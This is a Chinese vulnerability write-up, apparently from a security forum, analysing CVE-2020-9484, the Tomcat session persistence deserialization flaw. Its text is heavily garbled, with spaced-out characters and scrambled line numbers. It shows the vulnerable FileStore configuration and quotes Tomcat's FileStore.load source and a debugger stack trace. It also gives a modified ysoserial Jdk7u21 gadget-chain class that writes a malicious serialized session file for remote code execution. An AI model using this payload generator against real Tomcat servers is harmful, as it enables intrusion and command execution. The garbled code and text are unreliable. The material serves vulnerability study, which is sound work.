[1099] 2020-05-25_CVE-2020-9484tomcatsession持久化漏洞分析

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-16
2020-05-25_CVE-2020-9484tomcatsession持久化漏洞分析 C V E - 2 0 2 0 - 9 4 8 4   t o m c a t   s e s s i o n Y 4 e r   C h a B u g   2 0 2 0 - 0 5 - 2 5 1 .   T o m c a t   7 . 0 . 9 9 2 .   J D K 7 u 2 1 1 .   < =   9 . 0 . 3 4 2 .   < =   8 . 5 . 5 4 3 .   < =   7 . 0 . 1 0 3 t o m c a t c a t a l i n a . b a t i d e a r e m o t e   t o m c a t   8 0 0 1 t o m c a t c o n f c o n t e x t . x m l     1 .   s e t   J A V A _ O P T S = - X d e b u g   - X r u n j d w p : t r a n s p o r t = d t _ s o c k e t , s e r v e r = y , s u s p e n d = n , a d d r e s s = 8 0 0 1 < C o n t e x t >
便 b u r p s e r v e r . x m l 8 0 y s o s e r i a l 使 i d e a j d k 7 u 2 1 2 .   1 0 .   1 7 .   2 3 .   1 .       < M a n a g e r   c l a s s N a m e = " o r g . a p a c h e . c a t a l i n a . s e s s i o n . P e r s i s t e n t M a n a g e r "   2 .               d e b u g = " 0 " 3 .               s a v e O n R e s t a r t = " f a l s e " 4 .               m a x A c t i v e S e s s i o n = " - 1 " 5 .               m i n I d l e S w a p = " - 1 " 6 .               m a x I d l e S w a p = " - 1 " 7 .               m a x I d l e B a c k u p = " - 1 " > 8 .               < S t o r e   c l a s s N a m e = " o r g . a p a c h e . c a t a l i n a . s e s s i o n . F i l e S t o r e "   d i r e c t o r y = " . . / s e s s i o n s " 9 .       < / M a n a g e r > 1 .   p a c k a g e   y s o s e r i a l . p a y l o a d s ; 3 .   i m p o r t   y s o s e r i a l . p a y l o a d s . a n n o t a t i o n . A u t h o r s ; 4 .   i m p o r t   y s o s e r i a l . p a y l o a d s . a n n o t a t i o n . D e p e n d e n c i e s ; 5 .   i m p o r t   y s o s e r i a l . p a y l o a d s . a n n o t a t i o n . P a y l o a d T e s t ; 6 .   i m p o r t   y s o s e r i a l . p a y l o a d s . u t i l . G a d g e t s ; 7 .   i m p o r t   y s o s e r i a l . p a y l o a d s . u t i l . J a v a V e r s i o n ; 8 .   i m p o r t   y s o s e r i a l . p a y l o a d s . u t i l . P a y l o a d R u n n e r ; 9 .   i m p o r t   y s o s e r i a l . p a y l o a d s . u t i l . R e f l e c t i o n s ; 1 1 .   i m p o r t   j a v a x . x m l . t r a n s f o r m . T e m p l a t e s ; 1 2 .   i m p o r t   j a v a . i o . F i l e O u t p u t S t r e a m ; 1 3 .   i m p o r t   j a v a . i o . O b j e c t O u t p u t S t r e a m ; 1 4 .   i m p o r t   j a v a . l a n g . r e f l e c t . I n v o c a t i o n H a n d l e r ; 1 5 .   i m p o r t   j a v a . u t i l . H a s h M a p ; 1 6 .   i m p o r t   j a v a . u t i l . L i n k e d H a s h S e t ; 1 8 .   @ S u p p r e s s W a r n i n g s ( { " r a w t y p e s " ,   " u n c h e c k e d " } ) 1 9 .   @ P a y l o a d T e s t ( p r e c o n d i t i o n   =   " i s A p p l i c a b l e J a v a V e r s i o n " ) 2 0 .   @ D e p e n d e n c i e s ( ) 2 1 .   @ A u t h o r s ( { A u t h o r s . F R O H O F F } ) 2 2 .   p u b l i c   c l a s s   J d k 7 u 2 1   i m p l e m e n t s   O b j e c t P a y l o a d < O b j e c t >   { 2 4 .           p u b l i c   s t a t i c   b o o l e a n   s e r i a l i z e ( O b j e c t   o b j ,   S t r i n g   f i l e )   {
3 6 .   4 1 .   4 5 .   4 8 .   5 0 .   5 3 .   5 7 .   6 1 .   6 4 .   2 5 .                   t r y   { 2 6 .                           O b j e c t O u t p u t S t r e a m   o s   =   n e w   O b j e c t O u t p u t S t r e a m ( n e w   F i l e O u t p u t S t r e a m ( f i l e 2 7 .                           o s . w r i t e O b j e c t ( o b j ) ; 2 8 .                           o s . c l o s e ( ) ; 2 9 .                           r e t u r n   t r u e ; 3 0 .                   }   c a t c h   ( E x c e p t i o n   e )   { 3 1 .                           e . p r i n t S t a c k T r a c e ( ) ; 3 2 .                   }   f i n a l l y   { 3 3 .                           r e t u r n   f a l s e ; 3 4 .                   } 3 5 .           } 3 7 .           p u b l i c   s t a t i c   b o o l e a n   i s A p p l i c a b l e J a v a V e r s i o n ( )   { 3 8 .                   J a v a V e r s i o n   v   =   J a v a V e r s i o n . g e t L o c a l V e r s i o n ( ) ; 3 9 .                   r e t u r n   v   ! =   n u l l   & &   ( v . m a j o r   <   7   | |   ( v . m a j o r   = =   7   & &   v . u p d a t e   < =   2 1 ) ) ; 4 0 .           } 4 2 .           p u b l i c   s t a t i c   v o i d   m a i n ( f i n a l   S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   { 4 3 .                   P a y l o a d R u n n e r . r u n ( J d k 7 u 2 1 . c l a s s ,   a r g s ) ; 4 4 .           } 4 6 .           p u b l i c   O b j e c t   g e t O b j e c t ( f i n a l   S t r i n g   c o m m a n d )   t h r o w s   E x c e p t i o n   { 4 7 .                   f i n a l   O b j e c t   t e m p l a t e s   =   G a d g e t s . c r e a t e T e m p l a t e s I m p l ( c o m m a n d ) ; 4 9 .                   S t r i n g   z e r o H a s h C o d e S t r   =   " f 5 a 5 a 6 0 8 " ; 5 1 .                   H a s h M a p   m a p   =   n e w   H a s h M a p ( ) ; 5 2 .                   m a p . p u t ( z e r o H a s h C o d e S t r ,   " f o o " ) ; 5 4 .                   I n v o c a t i o n H a n d l e r   t e m p H a n d l e r   =   ( I n v o c a t i o n H a n d l e r )   R e f l e c t i o n s . g e t F i r s t C t o r 5 5 .                   R e f l e c t i o n s . s e t F i e l d V a l u e ( t e m p H a n d l e r ,   " t y p e " ,   T e m p l a t e s . c l a s s ) ; 5 6 .                   T e m p l a t e s   p r o x y   =   G a d g e t s . c r e a t e P r o x y ( t e m p H a n d l e r ,   T e m p l a t e s . c l a s s ) ; 5 8 .                   L i n k e d H a s h S e t   s e t   =   n e w   L i n k e d H a s h S e t ( ) ;   / /   m a i n t a i n   o r d e r 5 9 .                   s e t . a d d ( t e m p l a t e s ) ; 6 0 .                   s e t . a d d ( p r o x y ) ; 6 2 .                   R e f l e c t i o n s . s e t F i e l d V a l u e ( t e m p l a t e s ,   " _ a u x C l a s s e s " ,   n u l l ) ; 6 3 .                   R e f l e c t i o n s . s e t F i e l d V a l u e ( t e m p l a t e s ,   " _ c l a s s " ,   n u l l ) ; 6 5 .                   m a p . p u t ( z e r o H a s h C o d e S t r ,   t e m p l a t e s ) ;   / /   s w a p   i n   r e a l   o b j e c t                 s e r i a l i z e ( s e t ,   " e : / e v i l . s e s s i o n " ) ;
6 9 .   i d e a         b u r p s e s s i o n e v i l R C E 6 6 .                   s e r i a l i z e ( s e t ,   " e : / e v i l . s e s s i o n " ) ; 6 7 .                   r e t u r n   s e t ; 6 8 .           } 7 0 .   } e : / e v i l . s e s s i o n D : t o m c a t a p a c h e - t o m c a t - 7 . 0 . 9 9 w o r k C a t a l i n a l o c a l h o s t c v e - 2 0 2 0 - 9 4 8 4 _ w a r s e s s i o n s
  p h p s e s s i o n j a v a s e s s i o n     l o a d ( ) r e a d O b j c e t C o n t e x t . x m l o r g . a p a c h e . c a t a l i n a . s e s s i o n . F i l e S t o r e 1 .           p u b l i c   S e s s i o n   l o a d ( S t r i n g   i d )   t h r o w s   C l a s s N o t F o u n d E x c e p t i o n ,   I O E x c e p t i o n   { 2 .                   F i l e   f i l e   =   t h i s . f i l e ( i d ) ; 3 .                   i f   ( f i l e   ! =   n u l l   & &   f i l e . e x i s t s ( ) )   { 4 .                           C o n t e x t   c o n t e x t   =   ( C o n t e x t ) t h i s . g e t M a n a g e r ( ) . g e t C o n t a i n e r ( ) ; 5 .                           L o g   c o n t a i n e r L o g   =   c o n t e x t . g e t L o g g e r ( ) ; 6 .                           i f   ( c o n t a i n e r L o g . i s D e b u g E n a b l e d ( ) )   {
9 .   1 5 .   2 3 .   2 7 .   i d s e s s i o n c o n t e x t 线 C o n t a i n e r l i b   R C E                         i f   ( c o n t a i n e r L o g . i s D e b u g E n a b l e d ( ) )   { 7 .                                   c o n t a i n e r L o g . d e b u g ( s m . g e t S t r i n g ( t h i s . g e t S t o r e N a m e ( )   +   " . l o a d i n g " ,   n e w 8 .                           } 1 0 .                           F i l e I n p u t S t r e a m   f i s   =   n u l l ; 1 1 .                           O b j e c t I n p u t S t r e a m   o i s   =   n u l l ; 1 2 .                           L o a d e r   l o a d e r   =   n u l l ; 1 3 .                           C l a s s L o a d e r   c l a s s L o a d e r   =   n u l l ; 1 4 .                           C l a s s L o a d e r   o l d T h r e a d C o n t e x t C L   =   T h r e a d . c u r r e n t T h r e a d ( ) . g e t C o n t e x t C l a s s L o a d e r 1 6 .                           S t a n d a r d S e s s i o n   v a r 1 1 ; 1 7 .                           t r y   { 1 8 .                                   f i s   =   n e w   F i l e I n p u t S t r e a m ( f i l e . g e t A b s o l u t e P a t h ( ) ) ; 1 9 .                                   l o a d e r   =   c o n t e x t . g e t L o a d e r ( ) ; 2 0 .                                   i f   ( l o a d e r   ! =   n u l l )   { 2 1 .                                           c l a s s L o a d e r   =   l o a d e r . g e t C l a s s L o a d e r ( ) ; 2 2 .                                   } 2 4 .                                   i f   ( c l a s s L o a d e r   ! =   n u l l )   { 2 5 .                                           T h r e a d . c u r r e n t T h r e a d ( ) . s e t C o n t e x t C l a s s L o a d e r ( c l a s s L o a d e r ) ; 2 6 .                                   } 2 8 .                                   o i s   =   t h i s . g e t O b j e c t I n p u t S t r e a m ( f i s ) ; 2 9 .                                   S t a n d a r d S e s s i o n   s e s s i o n   =   ( S t a n d a r d S e s s i o n ) t h i s . m a n a g e r . c r e a t e E m p t y S e s s i o n 3 0 .                                   s e s s i o n . r e a d O b j e c t D a t a ( o i s ) ; 3 1 .                                   s e s s i o n . s e t M a n a g e r ( t h i s . m a n a g e r ) ; 3 2 .                                   v a r 1 1   =   s e s s i o n ; 3 3 .                                   r e t u r n   v a r 1 1 ; 3 4 .                           }   c a t c h   ( F i l e N o t F o u n d E x c e p t i o n   v a r 2 5 )   { 3 5 .                                   . . . 3 6 .                   } 3 7 .           } s e s s i o n . r e a d O b j e c t D a t a ( o i s )
  j a v a / o r g / a p a c h e / c a t a l i n a / s e s s i o n / F i l e S t o r e . j a v a     g a d g e t ? C o n t a i n e r w a r l i b j d k g a t g e t 使 y s o s e r i a l p a y l o a d   j a v a / i o / O b j e c t I n p u t S t r e a m . j a v a : 2 9 9 1 .   r e a d S t r e a m H e a d e r : 7 9 9 ,   O b j e c t I n p u t S t r e a m   ( j a v a . i o ) 2 .   < i n i t > : 2 9 9 ,   O b j e c t I n p u t S t r e a m   ( j a v a . i o ) 3 .   < i n i t > : 9 5 ,   C u s t o m O b j e c t I n p u t S t r e a m   ( o r g . a p a c h e . c a t a l i n a . u t i l ) 4 .   g e t O b j e c t I n p u t S t r e a m : 2 3 7 ,   S t o r e B a s e   ( o r g . a p a c h e . c a t a l i n a . s e s s i o n ) 5 .   l o a d : 2 4 8 ,   F i l e S t o r e   ( o r g . a p a c h e . c a t a l i n a . s e s s i o n ) 6 .   l o a d S e s s i o n F r o m S t o r e : 7 8 9 ,   P e r s i s t e n t M a n a g e r B a s e   ( o r g . a p a c h e . c a t a l i n a . s e s s i o n ) 7 .   s w a p I n : 7 3 9 ,   P e r s i s t e n t M a n a g e r B a s e   ( o r g . a p a c h e . c a t a l i n a . s e s s i o n ) 8 .   f i n d S e s s i o n : 5 1 7 ,   P e r s i s t e n t M a n a g e r B a s e   ( o r g . a p a c h e . c a t a l i n a . s e s s i o n ) 9 .   d o G e t S e s s i o n : 3 1 4 7 ,   R e q u e s t   ( o r g . a p a c h e . c a t a l i n a . c o n n e c t o r ) 1 0 .   g e t S e s s i o n : 2 4 8 9 ,   R e q u e s t   ( o r g . a p a c h e . c a t a l i n a . c o n n e c t o r ) 1 1 .   g e t S e s s i o n : 8 9 7 ,   R e q u e s t F a c a d e   ( o r g . a p a c h e . c a t a l i n a . c o n n e c t o r ) 1 2 .   g e t S e s s i o n : 9 0 9 ,   R e q u e s t F a c a d e   ( o r g . a p a c h e . c a t a l i n a . c o n n e c t o r ) 1 3 .   _ i n i t i a l i z e : 1 4 7 ,   P a g e C o n t e x t I m p l   ( o r g . a p a c h e . j a s p e r . r u n t i m e ) 1 4 .   i n i t i a l i z e : 1 2 6 ,   P a g e C o n t e x t I m p l   ( o r g . a p a c h e . j a s p e r . r u n t i m e ) 1 5 .   i n t e r n a l G e t P a g e C o n t e x t : 1 1 1 ,   J s p F a c t o r y I m p l   ( o r g . a p a c h e . j a s p e r . r u n t i m e ) 1 6 .   g e t P a g e C o n t e x t : 6 4 ,   J s p F a c t o r y I m p l   ( o r g . a p a c h e . j a s p e r . r u n t i m e ) 1 7 .   _ j s p S e r v i c e : 6 ,   i n d e x _ j s p   ( o r g . a p a c h e . j s p ) s e r v i c e : 7 0 ,   H t t p J s p B a s e   ( o r g . a p a c h e . j a s p e r . r u n t i m e )
y s o s e r i a l i z e ( ) 1 .     2 .       1 8 .   s e r v i c e : 7 0 ,   H t t p J s p B a s e   ( o r g . a p a c h e . j a s p e r . r u n t i m e ) 1 9 .   s e r v i c e : 7 2 8 ,   H t t p S e r v l e t   ( j a v a x . s e r v l e t . h t t p ) 2 0 .   s e r v i c e : 4 7 7 ,   J s p S e r v l e t W r a p p e r   ( o r g . a p a c h e . j a s p e r . s e r v l e t ) 2 1 .   s e r v i c e J s p F i l e : 3 9 5 ,   J s p S e r v l e t   ( o r g . a p a c h e . j a s p e r . s e r v l e t ) 2 2 .   s e r v i c e : 3 3 9 ,   J s p S e r v l e t   ( o r g . a p a c h e . j a s p e r . s e r v l e t ) 2 3 .   s e r v i c e : 7 2 8 ,   H t t p S e r v l e t   ( j a v a x . s e r v l e t . h t t p ) 2 4 .   i n t e r n a l D o F i l t e r : 3 0 3 ,   A p p l i c a t i o n F i l t e r C h a i n   ( o r g . a p a c h e . c a t a l i n a . c o r e ) 2 5 .   d o F i l t e r : 2 0 8 ,   A p p l i c a t i o n F i l t e r C h a i n   ( o r g . a p a c h e . c a t a l i n a . c o r e ) 2 6 .   d o F i l t e r : 5 2 ,   W s F i l t e r   ( o r g . a p a c h e . t o m c a t . w e b s o c k e t . s e r v e r ) 2 7 .   i n t e r n a l D o F i l t e r : 2 4 1 ,   A p p l i c a t i o n F i l t e r C h a i n   ( o r g . a p a c h e . c a t a l i n a . c o r e ) 2 8 .   d o F i l t e r : 2 0 8 ,   A p p l i c a t i o n F i l t e r C h a i n   ( o r g . a p a c h e . c a t a l i n a . c o r e ) 2 9 .   i n v o k e : 2 1 9 ,   S t a n d a r d W r a p p e r V a l v e   ( o r g . a p a c h e . c a t a l i n a . c o r e ) 3 0 .   i n v o k e : 1 1 0 ,   S t a n d a r d C o n t e x t V a l v e   ( o r g . a p a c h e . c a t a l i n a . c o r e ) 3 1 .   i n v o k e : 4 9 2 ,   A u t h e n t i c a t o r B a s e   ( o r g . a p a c h e . c a t a l i n a . a u t h e n t i c a t o r ) 3 2 .   i n v o k e : 1 6 5 ,   S t a n d a r d H o s t V a l v e   ( o r g . a p a c h e . c a t a l i n a . c o r e ) 3 3 .   i n v o k e : 1 0 4 ,   E r r o r R e p o r t V a l v e   ( o r g . a p a c h e . c a t a l i n a . v a l v e s ) 3 4 .   i n v o k e : 1 0 2 5 ,   A c c e s s L o g V a l v e   ( o r g . a p a c h e . c a t a l i n a . v a l v e s ) 3 5 .   i n v o k e : 1 1 6 ,   S t a n d a r d E n g i n e V a l v e   ( o r g . a p a c h e . c a t a l i n a . c o r e ) 3 6 .   s e r v i c e : 4 5 2 ,   C o y o t e A d a p t e r   ( o r g . a p a c h e . c a t a l i n a . c o n n e c t o r ) 3 7 .   p r o c e s s : 1 1 9 5 ,   A b s t r a c t H t t p 1 1 P r o c e s s o r   ( o r g . a p a c h e . c o y o t e . h t t p 1 1 ) 3 8 .   p r o c e s s : 6 5 4 ,   A b s t r a c t P r o t o c o l $ A b s t r a c t C o n n e c t i o n H a n d l e r   ( o r g . a p a c h e . c o y o t e ) 3 9 .   d o R u n : 2 5 3 2 ,   A p r E n d p o i n t $ S o c k e t P r o c e s s o r   ( o r g . a p a c h e . t o m c a t . u t i l . n e t ) 4 0 .   r u n : 2 5 2 1 ,   A p r E n d p o i n t $ S o c k e t P r o c e s s o r   ( o r g . a p a c h e . t o m c a t . u t i l . n e t ) 4 1 .   r u n W o r k e r : 1 1 4 5 ,   T h r e a d P o o l E x e c u t o r   ( j a v a . u t i l . c o n c u r r e n t ) 4 2 .   r u n : 6 1 5 ,   T h r e a d P o o l E x e c u t o r $ W o r k e r   ( j a v a . u t i l . c o n c u r r e n t ) 4 3 .   r u n : 6 1 ,   T a s k T h r e a d $ W r a p p i n g R u n n a b l e   ( o r g . a p a c h e . t o m c a t . u t i l . t h r e a d s ) 4 4 .   r u n : 7 2 2 ,   T h r e a d   ( j a v a . l a n g ) C o n t e x t . x m l . s e s s i o n
3 .   r e d i s   使 r e d i s   9 4 8 4 i d j s e s s i o n i d v a l u e r e d i s v a l u e 1 .   使 r e d i s 2 .   h t t p s : / / g i t h u b . c o m / a p a c h e / t o m c a t / c o m m i t / 3 a a 8 f 2 8 d b 7 e f b 3 1 1 c d d 1 b 6 f e 1 5 a 9 c d 3 b 1 6 7 a 2 2 2 2 # d i f f - d 7 c 9 b 1 8 d 3 1 5 c 5 a 1 f b 1 e 7 1 8 3 1 6 5 6 0 6 4 a d 3 .   h t t p s : / / w w w . s e c - i n . c o m / a r t i c l e / 3 9 4 4 .   h t t p s : / / w w w . c n b l o g s . c o m / p o t a t s o S e c / p / 1 2 9 3 1 4 2 7 . h t m l . s e s s i o n @ l 1 n k 3 r R e d i s S e s s i o n
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则